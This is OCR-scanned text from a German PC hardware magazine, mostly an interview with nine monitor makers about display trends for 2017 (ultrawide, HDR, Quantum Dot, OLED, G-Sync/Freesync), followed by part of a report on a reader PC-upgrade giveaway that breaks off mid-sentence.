den Aufbau des Silent-PCs erläutert 
haben, zeigen wir voraussichtlich 
in der kommenden Ausgabe die 
Ergebnisse, also Temperatur- und 
Lautheitsmessungen, die wir mit 
unterschiedlichen Konfiguratio- 
nen ermittelt haben. Mit lauten PCs 
musste sich Johann Wolfgang von 
Goethe übrigens zwar nie herum- 
schlagen, dafür plagte ihn anderer 
Lärm: „Manche Töne sind mir Ver- 
druss, doch bleibet am meisten 
Hundegebell mir verhaßt. Kläffend 
zerreißt es mein Ohr.“ (sw/tv) 


Das Asus Maximus VIII Ranger verfügt über einen Anschluss für Temperatursensoren. 
Hier schließen wir einen Phobya-Fühler an, der die Wassertemperatur ermittelt. 
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Wird jedes Display ge- 
krümmt sein? Lóst OLED das 
altbewährte LCD ab? Und 
der Eye Tracker die-Maus? 


Die Interviewpartner 


Wir haben alle Monitorhersteller mit Fragen bombardiert. Insgesamt haben uns 
neun davon geantwortet und gaben uns Auskunft über aussterbende, aktuelle und 
noch kommende Technologien, was den PC-Monitor betrifft. Herausgekommen ist 
alles andere als ein Einheitsbrei: Die Hersteller haben nicht nur unterschiedliche 
Prioritáten und Techniken für das kommende Jahr. Auch sind sich die Befragten 
stellenweise uneins, wohin Trends gehen und welche Technologien sich durchsetzen 


. së ; Thomas Müller, Erkan Sekerci, Simon Winkler 
werden. Umso besser, denn von der Vielfalt profitiert letztlich der Verbraucher. Manager, Viewsonic Sales Director, liyama Prod. Manager, Samsung 
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Product Manager, Philips Product Manager, Acer Product Manager, AOC PR-Manager, Asus 
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Monitor- 


Trends 


2017 


Itrawide-Monitore haben gut 
Ur gerne weit über Tausend 
Euro gekostet. Mittlerweile sind 
nicht nur Einsteiger-Geräte zu drei- 
stelligen Preisen erhältlich. Der 
Trend lässt letztlich die Preise sin- 
ken. Das ist an Modellen wie etwa 
dem unten gezeigten Samsung-Gerät 
festzustellen: Nach zwei Jahren hat 
sich der Preis des 34-Zöllers fast hal- 


biert. Anderen Herstellern hingegen 
ist die Ultrawide-Nische zu klein und 
sie springen erst gar nicht auf den 
Trend auf. 


Im Display-Trends-Artikel für das ak- 
tuelle Jahr in Ausgabe 3/2016 erwar- 
teten wir die ersten OLED-Displays 
für 2016 - allen voran das Flaggschiff 
Dell UP3017Q. Im Januar angekün- 


Preisentwicklung Samsung S34E790C, 34 Zoll, 1440p, Ultrawide 
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digt und auf der CES einen Monat 
später präsentiert, ist er jetzt Ende 
des Jahres noch immer nirgends 
zu kaufen. OLED bleibt daher noch 
immer Fernsehern und Notebooks 
vorbehalten. Ob sich das in 2017 
ändern wird? 


Anfangs 1.300 Euro, jetzt nur noch 735 
Euro: Der Preis eines Ultawide-Modells 
von Samsung ist um 43 Prozent gefallen. 


01/17 | PC Games Hardware 67 


INFRASTRUKTUR | Monitor-Trends 2017 


Display-Trends 2017: Interview mit neun Herstellern 


PCGH: Welche Innovation oder Tech- 
nologie wird im kommenden Jahr 
die Monitor-Landschaft pràgen? 


Eizo: Das Bild wird von Ultraslim- 
Modellen mit 
Display-Rahmen gepràgt sein. Die 
USB-C-Schnittstelle, die nicht nur 
Video- und Audio-Signal liefert, 
sondern gleichzeitig auch ein Note- 
book lädt, wird an Bedeutung ge- 
winnen. 


einem dünnen 


Samsung: Im kommenden Jahr 
setzen wir weiterhin auf den 
Formfaktor Curved und die Quan- 
tum-Dot-Technologie. ЅсһпеПеге 
Reaktionszeiten und hohe Auflö- 
sungen sind ebenfalls ein wichtiges 
Trendthema. Zudem werden Ener- 
gieeffizienz und Nachhaltigkeit im- 
mer wichtiger. 


LG: Die Energieeffizienz wird sich 
noch verbessern. Farbdarstellung, 
schmale Rahmen, Design und 
OLED werden so in drei bis fünf 
Jahren kommen. 


Viewsonic: Als Neuheiten erwarten 
wir Eye Tracker, mit denen man 
den Rechner mit Blickkontakt an- 
stelle einer Maus steuern kann. 


Zudem gehen wir davon aus, dass 
die Nachfrage an Touch-Displays 
weiter stark wachsen wird. 


liyama: Der Trend geht zu immer 
hochwertigeren Panels und Grö- 
ßen, für die die Kunden auch bereit 
sind, mehr Geld auszugeben. Dafür 
erwarten sie aber auch Spitzenwer- 
te bei Auflösung, Farbbrillanz und 
Kontrast, hohe Konnektivität mit 
modernsten Technologien und Er- 
gonomie. Die Reaktionsgeschwin- 
digkeit der Panels ist mit 1 ms (das 
entspricht einem Wimpernschlag) 
dagegen ausgereizt. Alle Innova- 
tionen, die diese Features weiter 
verbessern können, sind Thema 
für 2017. Dazu zählt natürlich auch 
HDR. 


Acer: Wir haben in diesem Jahr zur 
IFA bereits neue Predator-Gaming- 
Monitore mit Eye-Tracking-Techno- 
logie vorgestellt. Die Geräte wer- 
den Ende des Monats im Handel 
verfügbar sein und wir werden das 
Portfolio im kommenden Jahr wei- 
ter ausbauen. Des Weiteren werden 
hohe Auflösungen, neue Anschluss- 
standards (z. B. Type-C und HDMI) 
und HDR die Entwicklung des Mo- 
nitor-Bereichs 2017 prägen. 


Forenumfrage: In welcher Auflösung spielt ihr? 
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1.920 х 1.080 (Full HD) 


2.560 х 1.600 (WQXGA) 


Auflósungen 


3.440 x 1.440 (UWQHD) 


4K und Ultrawide wachsen deutlich. 


Generationenumbruch bei den Auflósungen: Full HD dominiert unter Gamern noch immer, nimmt aber stetig ab. 
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AOC: Unsere Strategie stützt sich 
auf drei Säulen: Premium-Gaming- 
Monitore mit der AGON-Serie, hö- 
here Auflösung wie 4K und QHD 
mit der 77er-Serie, Consumer-Mo- 
nitore wie die 81ег-Ѕегіе und eine 
neue Serie (Überraschung)), die 
wir 2017 starten. 


Asus: ÁK, HDR, Display Port 1.4 
und Typ-C-Anschlüsse - 2017 wird 
ein spannendes Jahr im Monitor- 
Bereich. 


,Ultrawide wird 2017 
ein Nischensegment 


bleiben.” 


Thomas Müller, Viewsonic 


PCGH: Welche Rolle wird Ultrawide 
2017 bei Ihnen spielen? 


LG: Als „Erfinder“ dieses Formates 
im Monitor-Bereich werden wir in 
den nächsten Jahren verstärkt auf 
dieses Format setzen und unsere 
Produktpalette kontinuierlich er- 
weitern. Der Trend, die Kunden- 
akzeptanz und die Vielseitigkeit 
dieses Formats geben uns recht. 
Ebenso steigt auch die Nachfrage 
im B2B-Umfeld stetig, um Doppel- 
bildschirm-Arbeitsplätze damit ab- 
zulösen. 


Samsung: Im Jahr 2015 haben wir 
bereits den ersten Curved Monitor 
mit dieser Auflösung auf den Markt 
gebracht. Wir beobachten hier seit- 
dem einen positiven Trend - nicht 
nur was den Formfaktor Curved 
betrifft, sondern auch in Bezug auf 
die Auflösung. 


Viewsonic: Die Nachfrage nach die- 
ser Auflösung ist aktuell noch sehr 
gering. In Deutschland beträgt der 
Absatz dieser Produkte weniger als 
ein halbes Prozent des gesamten 
Markts. In 2017 wird dies sicher ein 
Nischensegment bleiben. 


liyama: Ultrawide ist in unseren 
Augen eher eine Nische, ob sich 
da ein Trend abzeichnet, kann man 
heute noch schwer einschätzen. 
Viele Anwender bevorzugen wei- 
terhin zwei getrennte Monitore. 


Für Freunde von Ultrawide hat liya- 
ma derzeit einen 34-Zoll-Ultrawide- 
Monitor mit einer Auflósung von 
4K im Programm. Wir werden aber 
zunächst das Marktgeschehen wei- 
ter beobachten, bevor wir unsere 
Produktrange in diesem Bereich 
erweitern. 


Acer: Wir haben bereits mehrere 
Ultrawide-Monitore in unserem 
Portfolio, wie zum Beispiel den 
Predator X34A. Das Angebot der 
Ultrawide-Monitore spielt bereits 
jetzt eine bedeutende Rolle in 
unserer Produktpalette und wird 
auch in Zukunft ein wesentlicher 
Bestandteil sein. 


Philips: Wir werden neue 34-Zoll- 
Curved-Monitore vorstellen. Wir 
sehen im 34-Zoll-Ultra-Wide-Seg- 
ment viel Potenzial, es ist eines der 
derzeit am stärksten wachsenden 
Segmente. 


AOC: Wir werden das Ultrawide- 
Format ausschließlich für die 
Gaming-Monitore unserer AGON- 
Serie verwenden. 


Asus: 2017 bringen wir mehrere 
neue Ultrawide-Monitore für un- 
terschiedliche Einsatzbereiche. 
Das nächste Jahr wird in dieser 
Hinsicht also auf jeden Fall wieder 
spannend. 


Eizo: Wir beobachten die Entwick- 
lung, sehen aber aktuell Trends wie 
Ultraslim und 4K als wichtiger an, 
als ein Ultrawide-Modell auf den 
Markt zu bringen. 


PCGH: Wir beobachten bei unserer 
Community einen deutlichen Anstieg 
bei den 1440p-Auflösungen. Inwiefern 
hat sich das Verhältnis verkaufter LCDs 
mit den Auflösungen Full HD, WQHD 
und UHD in den vergangenen Jahren 
verändert und wohin geht der Trend? 


Asus: Ja, die Nachfrage nach WOHD 
ist bei unseren Monitoren mit mehr 
als 24 Zoll deutlich gestiegen. Moni- 
tore mit Full HD bleiben auch 2017 
noch ein Thema, aber immer mehr 
Spieler profitieren bereits von den 
Vorteilen der hohen WQHD-Auflö- 
sung und der Trend wird sich im 
nächsten Jahr fortsetzen. 
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Eizo: Den Anstieg und die Bedeu- 
tung von 1440р können wir im 
Verkauf unsere FORIS FS2735 be- 
stàtigen. Solange 4K immer noch 
deutlich teurer ist, wird es auch 
von uns weiterhin Full HD geben. 
5К wird allenfalls dann ein Thema, 
wenn für Gaming die Performance 
stimmt. Immerhin bedeutet 5K na- 
hezu die doppelte Auflósung im 
Vergleich zu 4К. Und schon 4К ist 
im Hinblick auf Performance nicht 
ohne. 


Samsung: Seit 2015 zeigt sich be- 
reits ein Trend zur 1440p-Auflö- 
sung. 2014 haben wir zum ersten 
Mal einen Monitor auf den Markt 
gebracht, der zu einem erschwing- 
lichen Preis UHD darstellen konn- 
te. Über die Jahre hinweg haben 
wir unser Portfolio erweitert. Vor 
allem bei den B2B-Displays ist mei- 
nes Erachtens nach ein wachsender 
Markt für höhere Auflösungen vor- 
handen. 


Acer: Während beispielsweise Ca- 
sual-Gamer nach wie vor auf eine 
Full-HD-Auflösung setzen, geht der 
Trend bei den Hardcore-Gamern 
zu der höheren 2K- bzw. 4K-Auflö- 
sung. Es muss natürlich auch be- 
dacht werden, dass die Auflösung 
des Monitors mitunter abhängig 
von der Performance des PCs oder 
des jeweiligen Gaming-Setups ist, 
denn nicht jeder besitzt einen 
High-End-PC. 


LG: Das sehen wir ähnlich, ist aber 
auch von den Bedürfnissen der 
Anwender abhängig. Klar wollen 
Gamer höhere Auflösungen und 
höhere Bildwiederholraten, aber 
die Schnittstel- 
len und die Grafikkarte sich mit- 


da müssen auch 


entwickeln. Derzeit setzen wir bei 
den Ultrawide-Formaten eindeutig 
den Trend, aber andere werden 
folgen. Unser Hauptanteil liegt bei 
den 34 Zoll und 3.440 x 1.440 Pi- 
xeln (UWQHD), aber die Mehrheit 
liegt bei uns bei den Standard-Mo- 
nitoren noch bei Full HD. 


Viewsonic: Der Full-HD-Anteil ist 
der stärkste Bereich mit rund zwei 
Dritteln. WQHD und UHD liegen 
bei 18 Prozent, wobei das Wachs- 
tum von WQHD sicher am stärksten 
zunimmt. UHD hingegen nimmt 
nur langsam Fahrt auf, da hier noch 
der Content bzw. die Anwendun- 
gen fehlen. Dies wird sich aber 
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hoffentlich in Kürze ändern. Als 
Wachstumstreiber gilt hier sicher 
der Bereich „Bildbearbeitung“, der 
sowohl das WQHD-Format als auch 
die 4K-Auflösung fördert. 


liyama: Das kann man so pauschal 
nicht beantworten, denn das hängt 
stark von der Zollgröße der Monito- 
re ab. Der Trend geht grundsätzlich 
zu immer größeren Modellen mit 
27 und mehr Zoll sowie entspre- 
chend brillanter Wiedergabe. Bei 
zunehmender Monitorgröße wäh- 
len Kunden meist auch höhere Auf- 
lösungen als Full HD. Die Gamer- 
Community bevorzugt ebenfalls 
höhere Auflösungen. 


AOC: Der Trend geht zu größeren 
Bildschirmen (27, 32 Zoll und darü- 
ber hinaus) mit QHD- oder 4K-Auf- 
lösung. Full HD wird als überholte 
Auflösung angesehen, insbesonde- 
re bei größeren Bildschirmen. 


„Wir werden 2017 
verstärkt auf 


Ultrawide setzen.” 
Heinz Dieter Speidel, LG 


PCGH: Glare-Type-Displays: Einst für 
knackige Farben gefeiert und sogar 
beworben, später mehrheitlich we- 
gen des Spiegeleffekts verbannt. Ihr 
Standpunkt? 


Viewsonic: Wir schen hier gegen- 
wärtig keine Nachfrage und auch 
keine tauglichen Produkte, die 
Glare-Panel aktuell rechtfertigen 
würden. 


Eizo: Wir haben uns bewusst gegen 
Glare entschieden, da darunter die 
Ergonomie leidet. Knackige Farben 
gibt es auch auf anderem Wege. 
Die Stichworte sind: kontraststarke 
Panels, effiziente Hintergrundbe- 
leuchtung. 


LG: Glare-Panels sind billiger zu 
produzieren als ein Non-Glare, weil 
hier Bearbeitungsschritte wegfal- 
len. Nicht nur aus ergonomischen 
Gründen, sondern auch wegen 
Kundenakzeptanz werden wir bei 
unseren Monitoren den matten Pa- 
nels treu bleiben. Unsere Kunden 
bestehen darauf, wer den ganzen 
Tag vor einem nicht spiegelnden 
Monitor sitzt wird es Ihnen danken. 
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Bild: Dell 


Mit 0,1 ms Reaktionszeit und hundertprozentiger Adobe-RGB-Abdeckung imponierte 
Dell auf der vergangenen CES-Messe mit dem ersten OLED-Monitor UP3017Q. Ende 
des Jahres ist er aber noch immer nicht auf dem Markt. 


Asus: Wir bieten aktuell ausschliefš- 
lich Non-Glare-Monitore an, da 
diese gerade bei Gamern deutlich 
beliebter sind. 


Samsung: Für leuchtende und reali- 
tätsnahe Farben setzen wir auf die 
Quantum-Dot-Technologie. 


AOC: Wir verwenden ausschließlich 
Anti-Glare-Bildschirme. 


Philips: Wir versuchen, Anti-Glare- 
Panels für die meisten unserer Mo- 
nitore zu verwenden. 


liyama: Glare ist out. Zwar sind bei 
Glare-Panels die Farben knackiger, 
doch unsere Kunden ziehen ein- 
deutig matte Panels vor. Gerade 
im Business-Kunden-Bereich, der 
bei Iiyama ungleich größer ist, 
ist der Trend eindeutig. Bei Aus- 
schreibungen ist Glare inzwischen 
sogar ein KO-Kriterium. Ganz im 
Gegenteil fragen unsere Kunden 
- gerade bei Touchmodellen - zu- 
nehmen explizit nach Anti-Glare 
Coating. 


Acer: Glare hat zwar einen optisch 
besseren Strahlendurchgang, ist 
aber auch stark anfällig für unan- 
genehme Spiegelungen. Wir setzen 
darum ausschließlich auf mattierte 
Oberflächen, da die Einbußen in 
der Farbdarstellung minimal und 
sie durch eigens entwickelte Tech- 
nologien wie beispielsweise Acer 
ComfyView deutlich augenscho- 
nender sind. 


PCGH: Wird 2017 das Jahr der HDR- 
Ausgabe und wie lauten Ihre Pläne 
dazu? 


Asus: Hier müssen wir noch um ein 
wenig Geduld bitten. Genauere De- 
tails zu dem Thema könnten schon 
bald folgen. 


Viewsonic: Im klassischen Monitor- 
bereich sehen wir HDR noch als 
absolute Nische. Der Markt besteht 
aktuell - und auch im kommenden 
Jahr - nur aus vereinzelten Spezi- 
allösungen im extrem gehobenen 
Preissegment. 


LG: Soweit ich das bis jetzt für unse- 
re kommenden Modelle beurteilen 
kann, wird in 2017 HDR auch bei 
LG eine Rolle spielen - und es wird 
ein 4K-Modell sein mit HDR10 für 
den professionellen Einsatz. 


liyama: Wir finden, dass wir die 
Entwicklung abwarten müssen. 
Die Chips einiger Panelhersteller 
unterstützen heute zwar bereits 
HDR, doch der Knackpunkt wird 
die Entwicklung von „high brigness 
panels“ sein. Ohne entsprechend 
leistungsfähige Panels bleibt das 
Ganze aber nur ein Marketing-Gag. 
Und darüber hinaus reicht es ja 
auch nicht aus, ein HDR-Display zu 
besitzen. Auch die Quelle und das 
Wiedergabemedium müssen HDR 
unterstützen. Für 2017 sehe ich 
diesen Trend deshalb noch nicht, 
aber HDR könnte mittelfristig „das 
nächste große Ding“ werden. 
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Samsung: Grafikkarten-Hersteller 
haben kürzlich die ersten Grafik- 
karten mit HDR-Unterstützung 
gelauncht. Die neuen Hochleis- 
tungs-Grafikkarten können also 
HDR-Content bereitstellen. Das 
ebnet auch den Weg für entspre- 
chende Displays. Demnach können 
sie ein mögliches Thema in 2017 
werden. 


Eizo: Wir haben natürlich Modelle 
mit großen Look-up Tables, weiten 
Farbräumen und hohem Kontrast, 
die für den professionellen Einsatz 
gedacht sind. Bei unseren Gaming- 
Modellen werden wir aus aktueller 
Sicht aber nicht mit HDR werben. 


AOC: Zukünftig wird es auch HDR- 
Monitore von AOC geben, sogar 
AGON-Gaming-Modelle, sobald es 
dafür offizielle Standards für Moni- 
tore gibt. 


Acer: Wir haben High Dynamic 
Range auf jeden Fall auf unserer 
Agenda - können aber derzeit noch 
keine Details nennen. 


Philips: HDR-Modelle können wir 
vielleicht bereits im Jahr 2017 vor- 
stellen. 


PCGH: Welche Rolle werden Quan- 
tum-Dot-Displays im kommenden 
Jahr bei Ihnen spielen? 


Viewsonic: Im Moment ist diese Tech- 
nologie für Monitor-Panels noch 
nicht verfügbar. Panel-Hersteller 
konzentrieren sich hier derzeit an 
erster Stelle auf mobile Geräte und 
TVs. In 2017 erwarten wir hier in 
Sachen Monitoren wenig bis nichts. 


Eizo: Wir beobachten das Thema, 
aber setzen nach wie vor aus- 
schließlich auf LCD-Module ohne 
Quantum Dot. Mit unseren Schir- 
men erreichen wir die großen Farb- 
räume, die heute für den professio- 
nellen Einsatz erforderlich sind. 


Asus: Der Wunsch vieler Anwender 
nach einer möglichst guten Farb- 
darstellung ist für uns natürlich 
sehr wichtig. Wir schen Quantum- 
Dot-Displays dabei als gute Mög- 


Ausgestorbene Technologien 


Manche Merkmale gehen so schnell, wie sie gekommen sind: Spiegelnde Displays 
sind in keinem aktuellen Monitor mehr verbaut. Auch die Idee, mit einer 3D-Brille 


vor dem Bildschirm zu sitzen, stirbt aus. 


Glare Type Display 
Anfangs war es noch 
kein , Bug", sondern 

ein , Feature" — das 
spiegelnde Display. Es 
versprach knackige 
Farben. Niemand mochte 
aber die Reflexionen in 
Kauf nehmen, sodass die 
Displays nach kurzer Zeit 
auf dem Markt wieder 
matt wurden. 


3D-Gaming 

Zu teuer und unspekta- 
kulàr ist das 3D-Erlebnis, 
das neben einer Brille 
auch einen entspre- 
chenden Monitor und 
Grafikkarte erfordert. 
Zwar gibt es noch 
Bildschirme, die 3D un- 
terstützen, jedoch keine 
neuen Modelle mehr — 
Markt und Konsumenten 
blicken gespannt auf das 
Gebiet VR. 
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lichkeit, unter anderem den dar- 
gestellten Farbraum zu erweitern. 


Samsung: Auf der IFA haben wir 
in diesem Jahr unsere ersten 
Displays mit Quantum Dot vor- 
gestellt. Gerade im B2C-Bereich 


„Aktuell spielt Quan- 
tum Dot für Monitore 


keine groBe Rolle." 


Erkan Sekerci, liyama 


sehen wir hier Potenzial. Mit der 
Technologie Кбппеп Farben in- 
tensiv dargestellt und ein großer 
Farbraum abgedeckt 
Das bietet vor allem im Bereich 
Gaming, Film und Fotografie ei- 
nen Mehrwert. Der Curved Ga- 
ming Monitor CFG70 ist bereits 
auf dem Markt erhältlich und 
der Curved Monitor CF791 wird 
Ende des Jahres auf den Markt 
kommen. 


werden. 


LG: Bei uns wird Quantum Dot 
schon lange eingesetzt, wir machen 
nur nicht so viel Werbung drumhe- 
rum. Bei uns nennt sich das „Color 
Prime“ und findet sich seit Jahren 
in unseren Grafik-Modellen wieder. 


liyama: Quantum Dot hat Vor- 
und Nachteile. Zwar bietet ein 
Quantum-Dot-Display eine höhe- 
re Leuchtdichte und ein größe- 
res Farbspektrum als LEDs, doch 
beide Werte sind nicht so gut 
wie bei OLED. Auch die Kontrast- 
und Schwarzwerte von Quantum- 
Dot sind schlechter als bei OLED. 
OLED ist aber deutlich teurer in 
der Herstellung. Aktuell spielt die 
Quantum-Dot-Technologie für die 
keine große 
Rolle. Für die TV-Industrie mag 
dies anders sein, zumal sich mit 


Monitorindustrie 


Samsung ein Big Player der Thema- 
tik angenommen hat. Wir sollten 
warten, wie sich diese Technologie 
weiterentwickelt. 


Philips: Quantum-Dot-Panel sind in 
der Lage, einen unglaublich wei- 
ten Farbraum darzustellen. Wir be- 
trachten QD immer noch als eine 
mögliche Richtung für Philips. 


PCGH: Die OLED-Technik hinkt noch 
etwas, was die Lebensspanne an- 
geht. Wie ist da der aktuelle Stand? 


Eizo: LCD-Panels dominieren bei 
den Computermonitoren wegen 
der hohen Verfügbarkeit und 
ihren Preisen. Wenn man über 
OLED nachdenkt, hat die Technik 
aufgrund der höheren Kosten zu- 
nächst im professionellen Einsatz 
ein Potenzial. 


LG: Es gibt zum einen immer noch 
das Hauptproblem, dass am PC 
meist mit statischen Bildern ge- 
arbeitet wird. Da ist OLED immer 
noch sehr empfindlich, was die 
„Einbrennthematik“ angeht, auf 
der anderen Seite auch die expo- 
nentiell nachlassende Lebensdau- 
er im Vergleich zur steigenden 
Helligkeit. Wer RGB-OLEDSs ver- 
wendet, hat auch weiterhin die 
Problematik mit 
cher Alterung bzw. nachlassender 
Lebensdauer. LG verwendet im 
Gegensatz dazu weiße OLEDs mit 
vorgeschalteten Farbfiltern, damit 
ist Sollten diese Probleme gelóst 
sein, steht dem OLED-Monitor 
nichts mehr im Wege. 


unterschiedli- 


Samsung: Samsung setzt derzeit auf 
die Quantum-Dot-Technologie. 


Viewsonic: Wir bieten aktuell noch 
kein OLED-Modell an. Wir sehen 
dies noch als absolute Nische, auch 
im kommenden Jahr. 


AOC: Sobald diese Technologie für 
Endverbraucher erschwinglicher 
ist, wird es auch OLED-Monitore 
von AOC geben. 


PCGH: Wird es náchstes Jahr schon 
bezahlbare OLED-Monitore von Ih- 
nen geben? 


Viewsonic: Wir sehen im kommen- 
den Jahr mit grofser Wahrschein- 
lichkeit keine OLED-Monitore, die 
für Endverbraucher finanziell at- 
traktiv sind. 


AOC: 2017 noch nicht. Das hängt wirk- 
lich von den Panel-Herstellern ab. 


LG: Definitiv nicht von uns. 


liyama: Es ist alles relativ, neue Tech- 
nologien sind anfangs immer sehr 
teuer. Doch die Preise für OLED- 
Modelle für den Massenmarkt wer- 
den sicherlich fallen, sobald sie auf 
den Markt kommen. Das wird aber 
vermutlich noch nicht im Jahr 2017 
sein. 
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PCGH: G-Sync scheint rücklàufig 
zu sein. Nicht nur AMD gibt an, 
dass immer mehr Freesync-LCDs 
erscheinen und gekauft werden. 
Kënnen Sie das bestätigen und 
auf welchen der beiden aktuellen 
Standard werden Sie in Zukunft 
setzen? 


Eizo: Wir haben uns gegen G-Sync 
entschieden, da der entsprechen- 
de Nvidia-Chip für uns nutzlose 
Funktionen hat, die sich mit unse- 
rer Technologie nicht vertragen. 
Wir móchten aber unseren eigenen 
Mikrocontroller verwenden, daher 
arbeiten unsere Gaming-Modelle 
ausschliefslich mit Freesync. 


LG: Wir setzen schon seit Jahren 
auf Freesync und bieten mit dem 
34UC79G auch den ersten Ultra- 
wide-IPS-Monitor mit 144 Hz an 
und in nahezu allen unseren Pro- 
dukten findet sich die Freesync-Im- 
plementierung wieder. Wir sehen 
aber auch, dass der Marktanteil von 
Nvidia-Karten deutlich hóher im 
Abverkauf ist und werden diesen 


Markt nicht außer Acht lassen im 
nächsten Jahr. 


Viewsonic G-Sync deckt aktuell 
noch 70 Prozent des Gaming- 
Grafikkartenmarktes ab. Deshalb 
entwickelt Viewsonic auch weiter 
G-Sync-Modelle für den High-End- 
Bereich. Wir sehen hier weiterhin 
grofses Potenzial. Freesync erfreut 


„Im kommenden Jahr 
setzen wir weiterhin 


auf Quantum Dot.” 


Simon Winkler, Samsung 


sich zwar immer grófserer Beliebt- 
heit, wird aber eher im Einstiegs- 
bereich von Gamern eingesetzt. Es 
ist nicht absehbar, dass ein Stan- 
dard den anderen in naher Zukunft 
ablósen wird. 


Asus: Die Monitore aus der PG-Serie 
mit G-Sync gehóren weiterhin zu 
unseren am stärksten nachgefrag- 


ten LCDs. Auch für das nächste Jahr 
planen wir weitere PG-Modelle mit 
G-Sync sowie neue Monitore mit 
Freesync-Unterstützung. 


liyama: Wir haben von Anfang an 
auf Freesync gesetzt. Um aber den 
gesamten Markt bedienen zu kón- 
nen, werden wir auch in 2017 - ge- 
rade im Gaming-Bereich - einige 
Monitore mit G-Sync einphasen. 


Acer: G-Sync wird weiterhin stabil 
den Hardcore-Gaming-Bereich prä- 
gen. Freesync bzw. Adaptive Sync 
bieten wir vorrangig abseits des 
Professional Gamings an. 


Philips: Es wird Philips-Monitore 
mit Adaptive Sync geben. G-Sync 
steht für uns nicht im Fokus. 


AOC: NVIDIA ist bei Grafikkarten 
immer noch Marktführer, daher 
werden wir auch 2017 weiterhin 
AGON-Gaming-Monitore mit G 
Sync-Technologie auf den Markt 
bringen. Für uns sind sowohl G-Sync 


(тс) 


als auch Егееѕупс wichtig. 


Acer 
A0C 
Asus 


Eizo 


liyama 
LG 
Philips 
Samsung 


Viewsonic 


Die meisten Hersteller bieten beide Standards der 
dynamischen Bildfrequenz. 


Fa Нагдшаге 


Ultrawide, Quantum Dot, USB-C 

Das Ultrawide-Format wird immer be- 
liebter, auch wenn manche Hersteller 
es nicht priorisieren werden. OLED 
wird wohl immer noch nicht kommen, 
aber vielleicht wird Quantum Dot zur 
erschwinglichen Alternative. Und mit ei- 
ner USB-C-Buchse wird das LCD zur Do- 
cking- und Ladestation für Notebooks. 


—Ó 
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2 INFRASTRUKTUR | Pimp my PC 2016 (Auswertung) 


iiyama 
be quiet! 


Pimp my PC: So war s. 


Vor zwei Monaten stellten wir die Aufrüstaktion vor, für die uns rund 1.200 Bewerbungen erreichten. 


Vier Teilnehmer hatten Glück und durften sich über neue Hardware für ihre Rechner freuen. 


веһама:; GEFORCE 
sy Do 


Die von den Sponsoren beigesteuerte Hardware hat einen 
Wert von über 5.000 Euro. Besonders beliebt bei den 
Bewerbern war übrigens die MSI GTX 1070 Gaming X 8G, 
die in sehr vielen Aufrüstplänen auftauchte. 
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ei der 2016er-Ausgabe der Ak- 
B „Pimp my PC“ unterstütz- 
ten uns be quiet!, iiyama, MSI und 
ROCCAT, die insgesamt 24 Produk- 
te und Bundles zur Verfügung stell- 
ten. Aus diesen konnten die Bewer- 
ber ihre bevorzugte Kombination 
wählen, um ihren PC nach Wunsch 
zu optimieren. 


Maximal 67 Punkte 

Die Hardware erhielten die Teil- 
nehmer Futhark, TrueEvil, miscter 
und drebbin zwar kostenlos, doch 
wir gaben einen Punktwert für jede 
Komponente und eine Gesamt- 
menge an Punkten vor, die nicht 
überschritten werden durfte. So 
mussten sie wie jeder andere Auf- 
rüster mit einem begrenzten Bud- 
get arbeiten und sich entscheiden, 
wo sie Schwerpunkte setzen und 


dementsprechend mehr investie- 
ren möchten. Insgesamt konnten 
die Teilnehmer bis zu 67 Punkte in 
folgenden Kategorien ausgeben: 


I Mainboard oder Grafikkarte (MSD 

I Netzteil oder Prozessorkühler 
(be quiet!) 

I Gehäuse oder Lüfter-Set (be quiet!) 

I Bildschirm (iiyama) 

I Peripherie-Bundle (ROCCAT) 


Auf den nächsten beiden Seiten 
stellen wir Ihnen vor, welche Auf- 
rüstpfade die Teilnehmer einge- 
schlagen haben und was sie sich 
von der neuen Hardware erhoffen. 
Unseren Online-Artikel inklusive 
Video zu den Upgrade-Komponen- 
ten finden Sie unter www.pcgh.de/ 
pimp2016. Dort ergänzen wir auch 
Fotos der aufgerüsteten PCs. (sw) 
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PC von Futhark 


Der von der Familie genutzte Rechner stört bei 
Büroarbeiten durch eine laute Grafikkarte, die 
mit lediglich 1 GiByte Speicher bei aktuellen 
Spielen keine Freude mehr macht. 


Beim 2008 konfigurierten 

Rechner wurden zwischen- 

zeitlich schon Prozessor, 

Mainboard und RAM er- 

neuert. Die neue MSI GTX 

1070 Gaming X 8G kommt 

mit jedem aktuellen Spiel 

zurecht und verspricht 

ausreichend Leistung für 

die nächsten Jahre. Der 

Clou: Die Lüfter laufen 

erst ab 60 °C an. Das alte 

500-Watt-Netzteil hat bereits acht Jahre auf dem Bu- 

ckel, während das 80-Plus-Bronze-zertifizierte be quiet! 

Power Zone 750 Watt eine höhere Effizienz, modernere 

Technik und größere Reserven bietet. Für mehr Übersicht 

beim Programmieren und Büroarbeiten sorgt zukünftig 

der G-Master GB2888UHSU-B1 dank Ultra-HD-Auflö- 

sung. Damit die neue Hardware nicht so leicht verstaubt 

wie bisher, ziehen die Komponenten in das Silent Base 800 

Window Black um, das be quiet! bereits mit drei leisen Ven- 

tilatoren vorbestückt. Die ROCCAT Kiro mit 2.000 DPI er- 

setzt die simple Standardmaus und bietet mit einer konfigu- 

rierbaren Beleuchtung sogar etwas fürs Auge. Anstelle des 

Holztisches sorgt ab sofort das Mauspad Kanga für präzise 

Eingaben. Im ROCCAT-Bundle sind außerdem die Tastatur 
Suora und das Headset Renga enthalten. 


PC von TrueEvil 


TrueEvil hat seinem PC nach einer erfolglosen 
Bewerbung 2015 auf eigene Faust eine neue 
Grafikkarte verpasst. Die Plattform ist aber 
sieben Jahre alt — Zeit für einen Wechsel. 


TrueEvil wählte das Main- 
board MSI 2170A Gaming 
Pro Carbon, um ab sofort 
Standards wie USB 3.0/3.1, 
PCI-Express 3.0 und SATA 
6 Gb/s sowie M.2-SSDs 
nutzen zu können. Der 
PCGH-Leser liebäugelt 
zwar mit Kaby Lake, wird 
sich mangels Verfügbar- 
keit neben 16 СіВуїе 
DDR4-Speicher aber wohl ei- 
nen Core i5-6600K anschaffen. Die Hardware landet in 
einem be quiet! Dark Base Pro 900 Orange. TrueEvil ha 
das Silent Base 600 günstig von einem Freund erhalten, 
schátzt aber die Vorzüge des be-quiet!-Topmodells, un- 
ter anderem bessere Silent-Lüfter sowie mehr Platz für 
CPU-Kühler, Grafikkarten und Laufwerke. Dazu komm 
das Dark Power Pro 11 mit hoher Effizienz (80 Plus Plati- 
num) und 850 Watt Leistung. TrueEvil wählte zudem den 
iiyama G-Master GB2788HS-B1. Der Monitor bietet zwar 
nur Full-HD-Auflösung, dafür aber 144 Hz — ein Vortei 
